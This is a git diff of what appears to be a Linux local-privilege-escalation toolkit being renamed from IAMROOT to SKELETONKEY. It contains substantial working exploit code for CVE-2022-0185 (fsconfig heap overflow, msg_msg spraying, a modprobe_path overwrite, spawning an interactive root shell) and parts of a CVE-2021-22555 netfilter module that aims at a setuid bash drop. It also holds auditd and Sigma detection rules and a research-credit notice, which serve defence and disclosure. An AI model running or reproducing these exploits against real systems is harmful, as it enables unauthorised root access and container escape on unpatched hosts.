fprintf(stderr, "[!] fuse_legacy: VULNERABLE — kernel in range AND "
|
fprintf(stderr, "[!] fuse_legacy: VULNERABLE — kernel in range AND "
|
||||||
@@ -216,7 +218,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[i] fuse_legacy: container-escape relevant for rootless "
|
fprintf(stderr, "[i] fuse_legacy: container-escape relevant for rootless "
|
||||||
"docker/podman/snap setups\n");
|
"docker/podman/snap setups\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ------------------------------------------------------------------ */
|
/* ------------------------------------------------------------------ */
|
||||||
@@ -363,7 +365,7 @@ static int trigger_overflow(int *out_fd, const char *first_chunk,
|
|||||||
* On a vulnerable host with matching offsets this path can land the
|
* On a vulnerable host with matching offsets this path can land the
|
||||||
* write; on an unverified host the sanity gate refuses rather than
|
* write; on an unverified host the sanity gate refuses rather than
|
||||||
* blind-writing a wild pointer. The finisher's downstream
|
* blind-writing a wild pointer. The finisher's downstream
|
||||||
* "/tmp/iamroot-pwn ran?" check is the second gate.
|
* "/tmp/skeletonkey-pwn ran?" check is the second gate.
|
||||||
*/
|
*/
|
||||||
struct fuse_arb_ctx {
|
struct fuse_arb_ctx {
|
||||||
/* Pre-allocated queue ids from the spray phase. */
|
/* Pre-allocated queue ids from the spray phase. */
|
||||||
@@ -371,14 +373,13 @@ struct fuse_arb_ctx {
|
|||||||
int n_queues;
|
int n_queues;
|
||||||
int hole_q;
|
int hole_q;
|
||||||
/* Tagged-payload reference so we can recognise unmodified neighbours. */
|
/* Tagged-payload reference so we can recognise unmodified neighbours. */
|
||||||
const char *tag; /* "IAMROOT" */
|
const char *tag; /* "SKELETONKEY" */
|
||||||
/* Whether the first-round trigger already fired (the parent's
|
/* Whether the first-round trigger already fired (the parent's
|
||||||
* default-path overflow). When set we re-spray + re-fire; when
|
* default-path overflow). When set we re-spray + re-fire; when
|
||||||
* unset we assume the spray is hot. */
|
* unset we assume the spray is hot. */
|
||||||
bool trigger_armed;
|
bool trigger_armed;
|
||||||
};
|
};
|
||||||
|
|
||||||
#ifdef __linux__
|
|
||||||
static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||||
void *ctx_void)
|
void *ctx_void)
|
||||||
{
|
{
|
||||||
@@ -504,34 +505,28 @@ static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
|||||||
(unsigned long)kaddr);
|
(unsigned long)kaddr);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
#else
|
|
||||||
static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
|
||||||
void *ctx_void)
|
|
||||||
{
|
|
||||||
(void)kaddr; (void)buf; (void)len; (void)ctx_void;
|
|
||||||
fprintf(stderr, "[-] fuse_arb_write: linux-only primitive\n");
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
#endif /* __linux__ */
|
|
||||||
|
|
||||||
/* ------------------------------------------------------------------ */
|
/* ------------------------------------------------------------------ */
|
||||||
/* exploit */
|
/* exploit */
|
||||||
/* ------------------------------------------------------------------ */
|
/* ------------------------------------------------------------------ */
|
||||||
static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
/* (R1) Re-call detect — refuse if not vulnerable. */
|
/* (R1) Re-call detect — refuse if not vulnerable. */
|
||||||
iamroot_result_t pre = fuse_legacy_detect(ctx);
|
skeletonkey_result_t pre = fuse_legacy_detect(ctx);
|
||||||
if (pre != IAMROOT_VULNERABLE) {
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
fprintf(stderr, "[-] fuse_legacy: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] fuse_legacy: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* (R2) Refuse if already root — no LPE work to do. */
|
/* (R2) Refuse if already root — no LPE work to do. Consult
|
||||||
if (geteuid() == 0) {
|
* ctx->host first so unit tests can construct a non-root
|
||||||
|
* fingerprint regardless of the test process's real euid. */
|
||||||
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] fuse_legacy: already root; nothing to escalate\n");
|
fprintf(stderr, "[i] fuse_legacy: already root; nothing to escalate\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
@@ -541,7 +536,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
|||||||
/* (R3) unshare for userns+mount_ns — gives CAP_SYS_ADMIN-in-userns
|
/* (R3) unshare for userns+mount_ns — gives CAP_SYS_ADMIN-in-userns
|
||||||
* which is what fsopen("cgroup2") + fsconfig require. */
|
* which is what fsopen("cgroup2") + fsconfig require. */
|
||||||
if (!enter_userns_root()) {
|
if (!enter_userns_root()) {
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* --- (R5) cross-cache groom — phase 1: alloc spray --------------
|
/* --- (R5) cross-cache groom — phase 1: alloc spray --------------
|
||||||
@@ -552,13 +547,13 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* to land write-past-end into the next adjacent msg_msg.
|
* to land write-past-end into the next adjacent msg_msg.
|
||||||
*
|
*
|
||||||
* Empirically Liu uses ~4096 sprays / 512 queues; we mirror the
|
* Empirically Liu uses ~4096 sprays / 512 queues; we mirror the
|
||||||
* shape but with knobs scaled for an iamroot one-shot.
|
* shape but with knobs scaled for an skeletonkey one-shot.
|
||||||
*/
|
*/
|
||||||
enum { N_QUEUES = 256, N_SPRAY_PER_Q = 16 };
|
enum { N_QUEUES = 256, N_SPRAY_PER_Q = 16 };
|
||||||
int *qids = calloc(N_QUEUES, sizeof(int));
|
int *qids = calloc(N_QUEUES, sizeof(int));
|
||||||
if (!qids) {
|
if (!qids) {
|
||||||
fprintf(stderr, "[-] fuse_legacy: calloc(qids) failed\n");
|
fprintf(stderr, "[-] fuse_legacy: calloc(qids) failed\n");
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
for (int i = 0; i < N_QUEUES; i++) {
|
for (int i = 0; i < N_QUEUES; i++) {
|
||||||
qids[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
|
qids[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
|
||||||
@@ -574,7 +569,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
|||||||
if (spray == MAP_FAILED) {
|
if (spray == MAP_FAILED) {
|
||||||
fprintf(stderr, "[-] fuse_legacy: mmap(spray) failed\n");
|
fprintf(stderr, "[-] fuse_legacy: mmap(spray) failed\n");
|
||||||
free(qids);
|
free(qids);
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
spray->mtype = 0x4242;
|
spray->mtype = 0x4242;
|
||||||
/* Tag the payload so we can recognise our spray slots in
|
/* Tag the payload so we can recognise our spray slots in
|
||||||
@@ -614,7 +609,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
|||||||
char *first_chunk = malloc(4081);
|
char *first_chunk = malloc(4081);
|
||||||
if (!first_chunk) {
|
if (!first_chunk) {
|
||||||
free(qids); munmap(spray, sizeof *spray);
|
free(qids); munmap(spray, sizeof *spray);
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
memset(first_chunk, 'A', 4080);
|
memset(first_chunk, 'A', 4080);
|
||||||
first_chunk[4080] = '\0';
|
first_chunk[4080] = '\0';
|
||||||
@@ -632,7 +627,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* step below. */
|
* step below. */
|
||||||
char evil_chunk[256];
|
char evil_chunk[256];
|
||||||
memset(evil_chunk, 'B', sizeof evil_chunk);
|
memset(evil_chunk, 'B', sizeof evil_chunk);
|
||||||
memcpy(evil_chunk, "IAMROOT0", 8); /* marker → "did we land?" */
|
memcpy(evil_chunk, "SKELETONKEY0", 8); /* marker → "did we land?" */
|
||||||
/* Tail must be NUL-terminated for legacy_parse_param's strdup. */
|
/* Tail must be NUL-terminated for legacy_parse_param's strdup. */
|
||||||
evil_chunk[sizeof evil_chunk - 1] = '\0';
|
evil_chunk[sizeof evil_chunk - 1] = '\0';
|
||||||
|
|
||||||
@@ -653,7 +648,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[-] fuse_legacy: fsconfig overflow rejected (errno=%d: %s)\n",
|
fprintf(stderr, "[-] fuse_legacy: fsconfig overflow rejected (errno=%d: %s)\n",
|
||||||
errno, strerror(errno));
|
errno, strerror(errno));
|
||||||
free(qids); munmap(spray, sizeof *spray);
|
free(qids); munmap(spray, sizeof *spray);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
@@ -725,33 +720,32 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* (see fuse_arb_write). On a host where offsets + groom land,
|
* (see fuse_arb_write). On a host where offsets + groom land,
|
||||||
* the finisher's modprobe_path overwrite → execve(unknown) →
|
* the finisher's modprobe_path overwrite → execve(unknown) →
|
||||||
* call_modprobe chain pops a root shell. On a mismatched host
|
* call_modprobe chain pops a root shell. On a mismatched host
|
||||||
* the sanity gate trips and we exit IAMROOT_EXPLOIT_FAIL with no
|
* the sanity gate trips and we exit SKELETONKEY_EXPLOIT_FAIL with no
|
||||||
* fabricated success.
|
* fabricated success.
|
||||||
*
|
*
|
||||||
* Cleanup of qids/spray/fsfd is deferred to AFTER the finisher
|
* Cleanup of qids/spray/fsfd is deferred to AFTER the finisher
|
||||||
* runs because the arb_write primitive re-fires the trigger and
|
* runs because the arb_write primitive re-fires the trigger and
|
||||||
* needs the live spray.
|
* needs the live spray.
|
||||||
* --------------------------------------------------------------- */
|
* --------------------------------------------------------------- */
|
||||||
#ifdef __linux__
|
|
||||||
if (ctx->full_chain) {
|
if (ctx->full_chain) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] fuse_legacy: --full-chain requested — resolving "
|
fprintf(stderr, "[*] fuse_legacy: --full-chain requested — resolving "
|
||||||
"kernel offsets...\n");
|
"kernel offsets...\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
struct iamroot_kernel_offsets off;
|
struct skeletonkey_kernel_offsets off;
|
||||||
memset(&off, 0, sizeof off);
|
memset(&off, 0, sizeof off);
|
||||||
int resolved = iamroot_offsets_resolve(&off);
|
int resolved = skeletonkey_offsets_resolve(&off);
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] fuse_legacy: offsets resolved=%d "
|
fprintf(stderr, "[i] fuse_legacy: offsets resolved=%d "
|
||||||
"(modprobe_path=0x%lx source=%s)\n",
|
"(modprobe_path=0x%lx source=%s)\n",
|
||||||
resolved, (unsigned long)off.modprobe_path,
|
resolved, (unsigned long)off.modprobe_path,
|
||||||
iamroot_offset_source_name(off.source_modprobe));
|
skeletonkey_offset_source_name(off.source_modprobe));
|
||||||
iamroot_offsets_print(&off);
|
skeletonkey_offsets_print(&off);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||||
iamroot_finisher_print_offset_help("fuse_legacy");
|
skeletonkey_finisher_print_offset_help("fuse_legacy");
|
||||||
/* Cleanup before returning. */
|
/* Cleanup before returning. */
|
||||||
for (int q = 0; q < N_QUEUES; q++) {
|
for (int q = 0; q < N_QUEUES; q++) {
|
||||||
if (qids[q] >= 0) msgctl(qids[q], IPC_RMID, NULL);
|
if (qids[q] >= 0) msgctl(qids[q], IPC_RMID, NULL);
|
||||||
@@ -759,18 +753,18 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
|||||||
free(qids);
|
free(qids);
|
||||||
munmap(spray, sizeof *spray);
|
munmap(spray, sizeof *spray);
|
||||||
if (fsfd >= 0) close(fsfd);
|
if (fsfd >= 0) close(fsfd);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
struct fuse_arb_ctx ax = {
|
struct fuse_arb_ctx ax = {
|
||||||
.qids = qids,
|
.qids = qids,
|
||||||
.n_queues = N_QUEUES,
|
.n_queues = N_QUEUES,
|
||||||
.hole_q = hole_q,
|
.hole_q = hole_q,
|
||||||
.tag = "IAMROOT",
|
.tag = "SKELETONKEY",
|
||||||
.trigger_armed = true,
|
.trigger_armed = true,
|
||||||
};
|
};
|
||||||
|
|
||||||
iamroot_result_t fr = iamroot_finisher_modprobe_path(
|
skeletonkey_result_t fr = skeletonkey_finisher_modprobe_path(
|
||||||
&off, fuse_arb_write, &ax, !ctx->no_shell);
|
&off, fuse_arb_write, &ax, !ctx->no_shell);
|
||||||
|
|
||||||
/* Cleanup IPC + mapping regardless of finisher result. The
|
/* Cleanup IPC + mapping regardless of finisher result. The
|
||||||
@@ -783,16 +777,15 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
|||||||
munmap(spray, sizeof *spray);
|
munmap(spray, sizeof *spray);
|
||||||
if (fsfd >= 0) close(fsfd);
|
if (fsfd >= 0) close(fsfd);
|
||||||
|
|
||||||
if (fr == IAMROOT_EXPLOIT_OK) {
|
if (fr == SKELETONKEY_EXPLOIT_OK) {
|
||||||
return IAMROOT_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[-] fuse_legacy: --full-chain finisher did not land "
|
fprintf(stderr, "[-] fuse_legacy: --full-chain finisher did not land "
|
||||||
"(arb-write sanity gate or modprobe sentinel refused)\n");
|
"(arb-write sanity gate or modprobe sentinel refused)\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
#endif /* __linux__ */
|
|
||||||
|
|
||||||
/* Clean up our IPC queues and mapping. The kernel slab state
|
/* Clean up our IPC queues and mapping. The kernel slab state
|
||||||
* after the overflow may be unstable; we exit cleanly on success
|
* after the overflow may be unstable; we exit cleanly on success
|
||||||
@@ -814,31 +807,53 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
|
|||||||
"popping root shell\n");
|
"popping root shell\n");
|
||||||
}
|
}
|
||||||
if (ctx->no_shell) {
|
if (ctx->no_shell) {
|
||||||
return IAMROOT_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
}
|
}
|
||||||
execl("/bin/sh", "sh", "-i", (char *)NULL);
|
execl("/bin/sh", "sh", "-i", (char *)NULL);
|
||||||
perror("execl /bin/sh");
|
perror("execl /bin/sh");
|
||||||
return IAMROOT_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
fprintf(stderr, "[-] fuse_legacy: trigger fired but cred-overwrite tail "
|
fprintf(stderr, "[-] fuse_legacy: trigger fired but cred-overwrite tail "
|
||||||
"not wired — see source for the missing offsets.\n");
|
"not wired — see source for the missing offsets.\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
/* Non-Linux dev builds: fsopen/fsconfig + userns+mountns clone are
|
||||||
|
* Linux-only kernel surface. Stub out cleanly so the module still
|
||||||
|
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
|
||||||
|
* boxes — and so the top-level `make` actually completes there. */
|
||||||
|
static skeletonkey_result_t fuse_legacy_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] fuse_legacy: Linux-only module "
|
||||||
|
"(fsopen + fsconfig + userns mount) — not applicable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] fuse_legacy: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
/* ------------------------------------------------------------------ */
|
/* ------------------------------------------------------------------ */
|
||||||
/* embedded detection rules */
|
/* embedded detection rules */
|
||||||
/* ------------------------------------------------------------------ */
|
/* ------------------------------------------------------------------ */
|
||||||
static const char fuse_legacy_auditd[] =
|
static const char fuse_legacy_auditd[] =
|
||||||
"# CVE-2022-0185 — auditd detection rules\n"
|
"# CVE-2022-0185 — auditd detection rules\n"
|
||||||
"# Flag unshare(USER|NS) chained with fsopen/fsconfig from non-root.\n"
|
"# Flag unshare(USER|NS) chained with fsopen/fsconfig from non-root.\n"
|
||||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-fuse-legacy\n"
|
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-fuse-legacy\n"
|
||||||
"-a always,exit -F arch=b64 -S fsopen -k iamroot-fuse-legacy-fsopen\n"
|
"-a always,exit -F arch=b64 -S fsopen -k skeletonkey-fuse-legacy-fsopen\n"
|
||||||
"-a always,exit -F arch=b64 -S fsconfig -k iamroot-fuse-legacy-fsconfig\n";
|
"-a always,exit -F arch=b64 -S fsconfig -k skeletonkey-fuse-legacy-fsconfig\n";
|
||||||
|
|
||||||
static const char fuse_legacy_sigma[] =
|
static const char fuse_legacy_sigma[] =
|
||||||
"title: Possible CVE-2022-0185 legacy_parse_param exploitation\n"
|
"title: Possible CVE-2022-0185 legacy_parse_param exploitation\n"
|
||||||
"id: 9e1b2c45-iamroot-fuse-legacy\n"
|
"id: 9e1b2c45-skeletonkey-fuse-legacy\n"
|
||||||
"status: experimental\n"
|
"status: experimental\n"
|
||||||
"description: |\n"
|
"description: |\n"
|
||||||
" Detects the canonical exploit shape: unprivileged process unshares\n"
|
" Detects the canonical exploit shape: unprivileged process unshares\n"
|
||||||
@@ -856,7 +871,7 @@ static const char fuse_legacy_sigma[] =
|
|||||||
"level: high\n"
|
"level: high\n"
|
||||||
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0185]\n";
|
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0185]\n";
|
||||||
|
|
||||||
const struct iamroot_module fuse_legacy_module = {
|
const struct skeletonkey_module fuse_legacy_module = {
|
||||||
.name = "fuse_legacy",
|
.name = "fuse_legacy",
|
||||||
.cve = "CVE-2022-0185",
|
.cve = "CVE-2022-0185",
|
||||||
.summary = "legacy_parse_param fsconfig heap OOB → container-escape LPE",
|
.summary = "legacy_parse_param fsconfig heap OOB → container-escape LPE",
|
||||||
@@ -872,7 +887,7 @@ const struct iamroot_module fuse_legacy_module = {
|
|||||||
.detect_falco = NULL,
|
.detect_falco = NULL,
|
||||||
};
|
};
|
||||||
|
|
||||||
void iamroot_register_fuse_legacy(void)
|
void skeletonkey_register_fuse_legacy(void)
|
||||||
{
|
{
|
||||||
iamroot_register(&fuse_legacy_module);
|
skeletonkey_register(&fuse_legacy_module);
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* fuse_legacy_cve_2022_0185 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef FUSE_LEGACY_SKELETONKEY_MODULES_H
|
||||||
|
#define FUSE_LEGACY_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module fuse_legacy_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
# NOTICE — netfilter_xtcompat (CVE-2021-22555)
|
||||||
|
|
||||||
|
## Vulnerability
|
||||||
|
|
||||||
|
**CVE-2021-22555** — iptables `xt_compat_target_to_user` 4-byte heap
|
||||||
|
out-of-bounds write → cross-cache UAF → arbitrary kernel R/W.
|
||||||
|
|
||||||
|
## Research credit
|
||||||
|
|
||||||
|
Discovered, exploited, and disclosed by **Andy Nguyen** (Google
|
||||||
|
Security Team), April 2021.
|
||||||
|
|
||||||
|
Original writeup: "CVE-2021-22555: Turning $00 $00 into 10 million $$$"
|
||||||
|
<https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html>
|
||||||
|
|
||||||
|
Upstream fix: mainline 5.12 / 5.11.10 (April 2021).
|
||||||
|
**Bug existed since 2.6.19 (2006) — 15 years of latent vulnerability.**
|
||||||
|
Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 /
|
||||||
|
4.9.266 / 4.4.266.
|
||||||
|
|
||||||
|
## SKELETONKEY role
|
||||||
|
|
||||||
|
Userns+netns reach, hand-rolled `ipt_replace` blob, `setsockopt`
|
||||||
|
`IPT_SO_SET_REPLACE` fires the 4-byte OOB at heap+0x4. msg_msg
|
||||||
|
spray in kmalloc-2k + sk_buff sidecar; MSG_COPY scan for cross-cache
|
||||||
|
landing. `--full-chain` extends with stride-seeded `m_list_next`
|
||||||
|
overwrite aimed at modprobe_path via the shared finisher.
|
||||||
|
|
||||||
|
Detection rules cover unshare + msgsnd + `setsockopt(IPT_SO_SET_REPLACE)`.
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
/*
|
|
||||||
* netfilter_xtcompat_cve_2021_22555 — IAMROOT module registry hook
|
|
||||||
*/
|
|
||||||
|
|
||||||
#ifndef NETFILTER_XTCOMPAT_IAMROOT_MODULES_H
|
|
||||||
#define NETFILTER_XTCOMPAT_IAMROOT_MODULES_H
|
|
||||||
|
|
||||||
#include "../../core/module.h"
|
|
||||||
|
|
||||||
extern const struct iamroot_module netfilter_xtcompat_module;
|
|
||||||
|
|
||||||
#endif
|
|
||||||
+125
-140
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* netfilter_xtcompat_cve_2021_22555 — IAMROOT module
|
* netfilter_xtcompat_cve_2021_22555 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* Heap-out-of-bounds in xt_compat_target_to_user(): the 32-bit
|
* Heap-out-of-bounds in xt_compat_target_to_user(): the 32-bit
|
||||||
* compat handler for iptables rule export wrote up to 4 bytes
|
* compat handler for iptables rule export wrote up to 4 bytes
|
||||||
@@ -26,18 +26,18 @@
|
|||||||
* - Trigger sequence: hand-rolled iptables rule blob with
|
* - Trigger sequence: hand-rolled iptables rule blob with
|
||||||
* malformed xt_entry_target offset; setsockopt fires the OOB.
|
* malformed xt_entry_target offset; setsockopt fires the OOB.
|
||||||
* - Cross-cache groom: msg_msg sprays (kmalloc-2k slots) and
|
* - Cross-cache groom: msg_msg sprays (kmalloc-2k slots) and
|
||||||
* sk_buff sprays via socketpair+sendmmsg, both with IAMROOT
|
* sk_buff sprays via socketpair+sendmmsg, both with SKELETONKEY
|
||||||
* cookies for KASAN visibility.
|
* cookies for KASAN visibility.
|
||||||
* - Empirical witness via msgrcv(MSG_COPY) + /proc/slabinfo
|
* - Empirical witness via msgrcv(MSG_COPY) + /proc/slabinfo
|
||||||
* diff + /tmp/iamroot-xtcompat.log breadcrumb.
|
* diff + /tmp/skeletonkey-xtcompat.log breadcrumb.
|
||||||
* - With --full-chain: shared finisher (core/finisher.c) is
|
* - With --full-chain: shared finisher (core/finisher.c) is
|
||||||
* invoked to perform the modprobe_path overwrite + execve
|
* invoked to perform the modprobe_path overwrite + execve
|
||||||
* unknown-binary trigger. Requires modprobe_path resolution
|
* unknown-binary trigger. Requires modprobe_path resolution
|
||||||
* via core/offsets.c (env/kallsyms/System.map). Sentinel-file
|
* via core/offsets.c (env/kallsyms/System.map). Sentinel-file
|
||||||
* check in the finisher is the empirical witness for the
|
* check in the finisher is the empirical witness for the
|
||||||
* write landing — IAMROOT never claims root unless it sees
|
* write landing — SKELETONKEY never claims root unless it sees
|
||||||
* the setuid bash drop with mode 4755 + uid 0.
|
* the setuid bash drop with mode 4755 + uid 0.
|
||||||
* - Without --full-chain: returns IAMROOT_EXPLOIT_FAIL after
|
* - Without --full-chain: returns SKELETONKEY_EXPLOIT_FAIL after
|
||||||
* the primitive demo (verified-vs-claimed bar).
|
* the primitive demo (verified-vs-claimed bar).
|
||||||
*
|
*
|
||||||
* Affected: kernel 2.6.19+ until backports landed:
|
* Affected: kernel 2.6.19+ until backports landed:
|
||||||
@@ -56,18 +56,23 @@
|
|||||||
* (almost always autoload-able on default-config kernels)
|
* (almost always autoload-able on default-config kernels)
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "iamroot_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
|
||||||
#include "../../core/offsets.h"
|
|
||||||
#include "../../core/finisher.h"
|
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <stdint.h>
|
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
#include "../../core/offsets.h"
|
||||||
|
#include "../../core/finisher.h"
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <errno.h>
|
#include <errno.h>
|
||||||
#include <sched.h>
|
#include <sched.h>
|
||||||
@@ -76,8 +81,6 @@
|
|||||||
#include <sys/socket.h>
|
#include <sys/socket.h>
|
||||||
#include <sys/types.h>
|
#include <sys/types.h>
|
||||||
#include <sys/stat.h>
|
#include <sys/stat.h>
|
||||||
|
|
||||||
#ifdef __linux__
|
|
||||||
#include <sys/ipc.h>
|
#include <sys/ipc.h>
|
||||||
#include <sys/msg.h>
|
#include <sys/msg.h>
|
||||||
#include <sys/syscall.h>
|
#include <sys/syscall.h>
|
||||||
@@ -91,31 +94,6 @@
|
|||||||
#ifndef SOL_IP
|
#ifndef SOL_IP
|
||||||
#define SOL_IP 0
|
#define SOL_IP 0
|
||||||
#endif
|
#endif
|
||||||
#endif
|
|
||||||
|
|
||||||
/* ---------- macOS / non-linux build stubs ---------------------------
|
|
||||||
* IAMROOT modules are dev-built on macOS (clangd / syntax check) and
|
|
||||||
* run-built on Linux. The Linux-only types and IPT_SO_SET_REPLACE
|
|
||||||
* constants are absent on Darwin; stub them so the .c file compiles
|
|
||||||
* cleanly under either toolchain. The actual exploit body is gated
|
|
||||||
* by `#ifdef __linux__` at runtime entry. */
|
|
||||||
#ifndef __linux__
|
|
||||||
#define CLONE_NEWUSER 0x10000000
|
|
||||||
#define CLONE_NEWNET 0x40000000
|
|
||||||
#define IPPROTO_RAW 255
|
|
||||||
#define SOL_IP 0
|
|
||||||
#define IPT_SO_SET_REPLACE 64
|
|
||||||
struct ipt_replace { char dummy; };
|
|
||||||
__attribute__((unused)) static int msgget(int a, int b) { (void)a;(void)b; errno=ENOSYS; return -1; }
|
|
||||||
__attribute__((unused)) static int msgsnd(int a, const void *b, size_t c, int d) { (void)a;(void)b;(void)c;(void)d; errno=ENOSYS; return -1; }
|
|
||||||
__attribute__((unused)) static ssize_t msgrcv(int a, void *b, size_t c, long d, int e) { (void)a;(void)b;(void)c;(void)d;(void)e; errno=ENOSYS; return -1; }
|
|
||||||
__attribute__((unused)) static int msgctl(int a, int b, void *c) { (void)a;(void)b;(void)c; errno=ENOSYS; return -1; }
|
|
||||||
#define IPC_PRIVATE 0
|
|
||||||
#define IPC_CREAT 01000
|
|
||||||
#define IPC_NOWAIT 04000
|
|
||||||
#define IPC_RMID 0
|
|
||||||
#define MSG_COPY 040000
|
|
||||||
#endif
|
|
||||||
|
|
||||||
/* ---- Kernel range ------------------------------------------------- */
|
/* ---- Kernel range ------------------------------------------------- */
|
||||||
|
|
||||||
@@ -139,71 +117,60 @@ static const struct kernel_range netfilter_xtcompat_range = {
|
|||||||
|
|
||||||
/* ---- Detect ------------------------------------------------------- */
|
/* ---- Detect ------------------------------------------------------- */
|
||||||
|
|
||||||
static int can_unshare_userns(void)
|
